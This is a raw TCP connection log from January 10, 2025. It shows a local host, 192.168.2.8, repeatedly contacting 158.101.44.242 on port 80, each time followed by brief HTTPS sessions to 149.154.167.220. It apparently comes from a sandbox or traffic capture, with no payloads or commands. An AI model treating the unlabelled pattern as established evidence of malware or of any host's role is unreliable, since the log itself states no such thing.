Jan 10, 2025 21:25:18.428459883 CET	80	49711	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:24.552647114 CET	80	49711	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:24.578846931 CET	49711	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:24.583690882 CET	80	49711	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:26.742908955 CET	80	49711	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:26.788911104 CET	49711	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:27.085820913 CET	49712	443	192.168.2.8	104.21.112.1
Jan 10, 2025 21:25:27.085848093 CET	443	49712	104.21.112.1	192.168.2.8
Jan 10, 2025 21:25:27.085941076 CET	49712	443	192.168.2.8	104.21.112.1
Jan 10, 2025 21:25:27.088551998 CET	49712	443	192.168.2.8	104.21.112.1
Jan 10, 2025 21:25:27.088567972 CET	443	49712	104.21.112.1	192.168.2.8
Jan 10, 2025 21:25:27.557523966 CET	443	49712	104.21.112.1	192.168.2.8
Jan 10, 2025 21:25:27.557660103 CET	49712	443	192.168.2.8	104.21.112.1
Jan 10, 2025 21:25:27.561531067 CET	49712	443	192.168.2.8	104.21.112.1
Jan 10, 2025 21:25:27.561554909 CET	443	49712	104.21.112.1	192.168.2.8
Jan 10, 2025 21:25:27.561858892 CET	443	49712	104.21.112.1	192.168.2.8
Jan 10, 2025 21:25:27.566097021 CET	49712	443	192.168.2.8	104.21.112.1
Jan 10, 2025 21:25:27.611329079 CET	443	49712	104.21.112.1	192.168.2.8
Jan 10, 2025 21:25:27.703856945 CET	443	49712	104.21.112.1	192.168.2.8
Jan 10, 2025 21:25:27.704042912 CET	443	49712	104.21.112.1	192.168.2.8
Jan 10, 2025 21:25:27.704268932 CET	49712	443	192.168.2.8	104.21.112.1
Jan 10, 2025 21:25:27.710549116 CET	49712	443	192.168.2.8	104.21.112.1
Jan 10, 2025 21:25:33.177756071 CET	49711	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:33.182677031 CET	80	49711	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:33.567478895 CET	80	49711	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:33.579891920 CET	49724	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:33.579929113 CET	443	49724	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:33.580010891 CET	49724	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:33.580446005 CET	49724	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:33.580460072 CET	443	49724	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:33.617012024 CET	49711	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:34.195794106 CET	443	49724	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:34.195888996 CET	49724	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:34.197735071 CET	49724	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:34.197741032 CET	443	49724	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:34.198056936 CET	443	49724	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:34.199697971 CET	49724	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:34.243324995 CET	443	49724	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:34.243391991 CET	49724	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:34.243397951 CET	443	49724	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:36.607184887 CET	443	49724	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:36.607319117 CET	443	49724	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:36.607546091 CET	49724	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:36.613394976 CET	49724	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:36.775409937 CET	49711	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:36.776585102 CET	49745	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:36.780477047 CET	80	49711	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:36.780592918 CET	49711	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:36.781523943 CET	80	49745	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:36.781671047 CET	49745	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:36.781773090 CET	49745	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:36.787647009 CET	80	49745	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:37.959285021 CET	80	49745	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:37.960813999 CET	49751	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:37.960886955 CET	443	49751	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:37.960953951 CET	49751	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:37.961751938 CET	49751	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:37.961771965 CET	443	49751	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:38.007776976 CET	49745	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:38.595074892 CET	443	49751	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:38.596874952 CET	49751	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:38.596929073 CET	443	49751	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:38.597018003 CET	49751	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:38.597026110 CET	443	49751	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:38.885530949 CET	443	49751	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:38.886945963 CET	443	49751	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:38.887027979 CET	49751	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:38.887367964 CET	49751	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:38.891849995 CET	49757	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:38.896714926 CET	80	49757	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:38.896847963 CET	49757	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:38.896965981 CET	49757	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:38.901779890 CET	80	49757	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:41.458250046 CET	80	49757	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:41.459539890 CET	49778	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:41.459564924 CET	443	49778	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:41.459693909 CET	49778	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:41.459914923 CET	49778	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:41.459924936 CET	443	49778	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:41.507812023 CET	49757	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:42.064522982 CET	443	49778	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:42.066178083 CET	49778	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:42.066189051 CET	443	49778	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:42.066546917 CET	49778	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:42.066553116 CET	443	49778	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:42.267386913 CET	443	49778	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:42.267472982 CET	443	49778	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:42.267541885 CET	49778	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:42.268034935 CET	49778	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:42.271742105 CET	49757	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:42.272985935 CET	49783	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:42.276685953 CET	80	49757	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:42.276957035 CET	49757	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:42.277767897 CET	80	49783	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:42.277875900 CET	49783	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:42.278125048 CET	49783	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:42.282883883 CET	80	49783	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:42.863244057 CET	80	49783	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:42.864866018 CET	49785	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:42.864919901 CET	443	49785	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:42.865022898 CET	49785	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:42.865291119 CET	49785	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:42.865300894 CET	443	49785	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:42.913929939 CET	49783	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:43.476423979 CET	443	49785	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:43.511004925 CET	49785	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:43.511024952 CET	443	49785	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:43.511137009 CET	49785	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:43.511147022 CET	443	49785	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:43.686285019 CET	443	49785	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:43.686352015 CET	443	49785	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:43.686466932 CET	49785	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:43.686801910 CET	49785	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:43.692188025 CET	49783	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:43.692732096 CET	49791	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:43.697604895 CET	80	49783	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:43.697622061 CET	80	49791	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:43.697690010 CET	49783	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:43.697742939 CET	49791	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:43.697879076 CET	49791	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:43.702704906 CET	80	49791	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:45.259149075 CET	80	49791	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:45.260529995 CET	49802	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:45.260581970 CET	443	49802	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:45.260715961 CET	49802	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:45.261425972 CET	49802	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:45.261440039 CET	443	49802	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:45.304667950 CET	49791	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:45.906946898 CET	443	49802	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:45.908931971 CET	49802	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:45.908946991 CET	443	49802	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:45.909054995 CET	49802	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:45.909060955 CET	443	49802	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:46.161154985 CET	443	49802	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:46.161248922 CET	443	49802	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:46.161463976 CET	49802	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:46.162041903 CET	49802	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:46.171550035 CET	49791	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:46.173119068 CET	49813	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:46.176677942 CET	80	49791	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:46.176912069 CET	49791	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:46.177973032 CET	80	49813	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:46.181761026 CET	49813	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:46.181885958 CET	49813	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:46.186686039 CET	80	49813	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:46.752300978 CET	80	49813	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:46.754540920 CET	49814	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:46.754580975 CET	443	49814	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:46.754724026 CET	49814	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:46.755100012 CET	49814	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:46.755117893 CET	443	49814	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:46.804548025 CET	49813	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:47.363198042 CET	443	49814	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:47.364918947 CET	49814	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:47.364939928 CET	443	49814	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:47.364994049 CET	49814	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:47.365000963 CET	443	49814	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:48.476320028 CET	443	49814	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:48.476382017 CET	443	49814	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:48.476469994 CET	49814	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:48.477365017 CET	49814	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:48.480050087 CET	49813	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:48.481071949 CET	49820	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:48.485955954 CET	80	49820	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:48.485986948 CET	80	49813	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:48.486063957 CET	49813	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:48.486083984 CET	49820	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:48.486207962 CET	49820	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:48.490979910 CET	80	49820	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:49.051666975 CET	80	49820	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:49.053010941 CET	49826	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:49.053061008 CET	443	49826	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:49.053220987 CET	49826	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:49.053426981 CET	49826	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:49.053443909 CET	443	49826	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:49.101418018 CET	49820	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:49.700676918 CET	443	49826	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:49.719048023 CET	49826	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:49.719060898 CET	443	49826	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:49.719208956 CET	49826	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:49.719213963 CET	443	49826	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:49.899260998 CET	443	49826	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:49.899369001 CET	443	49826	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:49.899561882 CET	49826	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:49.909547091 CET	49826	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:49.972455978 CET	49820	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:49.977570057 CET	80	49820	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:49.977650881 CET	49820	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:49.991106033 CET	49832	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:49.995959997 CET	80	49832	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:49.996037960 CET	49832	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:49.996225119 CET	49832	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:50.001091003 CET	80	49832	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:50.579760075 CET	80	49832	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:50.581260920 CET	49838	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:50.581312895 CET	443	49838	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:50.581392050 CET	49838	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:50.581671953 CET	49838	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:50.581690073 CET	443	49838	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:50.632663965 CET	49832	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:51.190716028 CET	443	49838	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:51.193368912 CET	49838	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:51.193382978 CET	443	49838	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:51.193521976 CET	49838	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:51.193526983 CET	443	49838	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:51.442809105 CET	443	49838	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:51.442898035 CET	443	49838	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:51.443011999 CET	49838	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:51.443698883 CET	49838	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:51.447585106 CET	49832	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:51.448764086 CET	49844	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:51.452632904 CET	80	49832	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:51.453047991 CET	49832	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:51.453589916 CET	80	49844	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:51.453676939 CET	49844	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:51.453834057 CET	49844	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:51.458610058 CET	80	49844	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:54.057730913 CET	80	49844	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:54.058886051 CET	49862	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:54.058933973 CET	443	49862	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:54.058998108 CET	49862	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:54.059263945 CET	49862	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:54.059279919 CET	443	49862	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:54.101558924 CET	49844	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:54.690731049 CET	443	49862	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:54.693283081 CET	49862	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:54.693306923 CET	443	49862	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:54.693367958 CET	49862	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:54.693377018 CET	443	49862	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:54.951482058 CET	443	49862	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:54.951558113 CET	443	49862	149.154.167.220	192.168.2.8
Jan 10, 2025 21:25:54.951621056 CET	49862	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:54.952029943 CET	49862	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:25:54.955152035 CET	49844	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:54.956414938 CET	49869	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:54.961342096 CET	80	49869	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:54.961451054 CET	49869	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:54.961532116 CET	49869	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:54.962057114 CET	80	49844	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:54.962131977 CET	49844	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:54.966486931 CET	80	49869	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:58.523112059 CET	80	49869	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:58.570312023 CET	49869	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:58.808672905 CET	49869	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:58.809436083 CET	49892	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:58.813610077 CET	80	49869	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:58.813668966 CET	49869	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:58.814260960 CET	80	49892	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:58.814363003 CET	49892	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:58.814627886 CET	49892	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:58.819408894 CET	80	49892	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:01.638802052 CET	80	49892	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:01.640264988 CET	49913	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:01.640384912 CET	443	49913	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:01.640503883 CET	49913	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:01.640839100 CET	49913	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:01.640877962 CET	443	49913	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:01.679611921 CET	49892	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:02.274605989 CET	443	49913	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:02.276470900 CET	49913	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:02.276503086 CET	443	49913	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:02.276560068 CET	49913	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:02.276571989 CET	443	49913	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:02.454267025 CET	443	49913	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:02.454355955 CET	443	49913	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:02.454461098 CET	49913	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:02.455056906 CET	49913	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:02.458142996 CET	49892	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:02.459357023 CET	49919	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:02.463129997 CET	80	49892	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:02.463195086 CET	49892	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:02.464356899 CET	80	49919	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:02.464446068 CET	49919	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:02.464571953 CET	49919	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:02.469341993 CET	80	49919	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:05.312028885 CET	80	49919	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:05.313504934 CET	49939	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:05.313549042 CET	443	49939	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:05.313654900 CET	49939	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:05.313920975 CET	49939	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:05.313934088 CET	443	49939	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:05.351475000 CET	49919	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:05.928780079 CET	443	49939	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:05.930896997 CET	49939	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:05.930926085 CET	443	49939	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:05.931127071 CET	49939	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:05.931133986 CET	443	49939	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:06.180064917 CET	443	49939	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:06.180147886 CET	443	49939	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:06.180223942 CET	49939	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:06.180705070 CET	49939	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:06.183927059 CET	49919	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:06.185296059 CET	49945	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:06.188958883 CET	80	49919	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:06.189059019 CET	49919	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:06.190109968 CET	80	49945	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:06.190221071 CET	49945	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:06.190325022 CET	49945	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:06.195091963 CET	80	49945	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:09.752568007 CET	80	49945	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:09.757383108 CET	49967	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:09.762217999 CET	80	49967	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:09.762336969 CET	49967	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:09.762434959 CET	49967	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:09.767177105 CET	80	49967	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:09.804579020 CET	49945	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:11.476747036 CET	80	49967	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:11.478574991 CET	49981	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:11.478619099 CET	443	49981	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:11.479340076 CET	49945	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:11.480138063 CET	49981	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:11.480385065 CET	49981	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:11.480397940 CET	443	49981	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:11.484565020 CET	80	49945	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:11.484662056 CET	49945	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:11.523334980 CET	49967	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:12.099795103 CET	443	49981	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:12.110443115 CET	49981	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:12.110471010 CET	443	49981	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:12.110548019 CET	49981	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:12.110558987 CET	443	49981	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:12.402734041 CET	443	49981	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:12.402812004 CET	443	49981	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:12.402883053 CET	49981	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:12.403342962 CET	49981	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:12.406708002 CET	49967	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:12.407835007 CET	49988	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:12.411732912 CET	80	49967	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:12.411803007 CET	49967	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:12.412631035 CET	80	49988	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:12.412712097 CET	49988	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:12.412791967 CET	49988	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:12.417546034 CET	80	49988	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:13.006381035 CET	80	49988	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:13.007698059 CET	49992	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:13.007754087 CET	443	49992	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:13.007996082 CET	49992	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:13.008222103 CET	49992	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:13.008244038 CET	443	49992	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:13.054594994 CET	49988	80	192.168.2.8	158.101.44.242
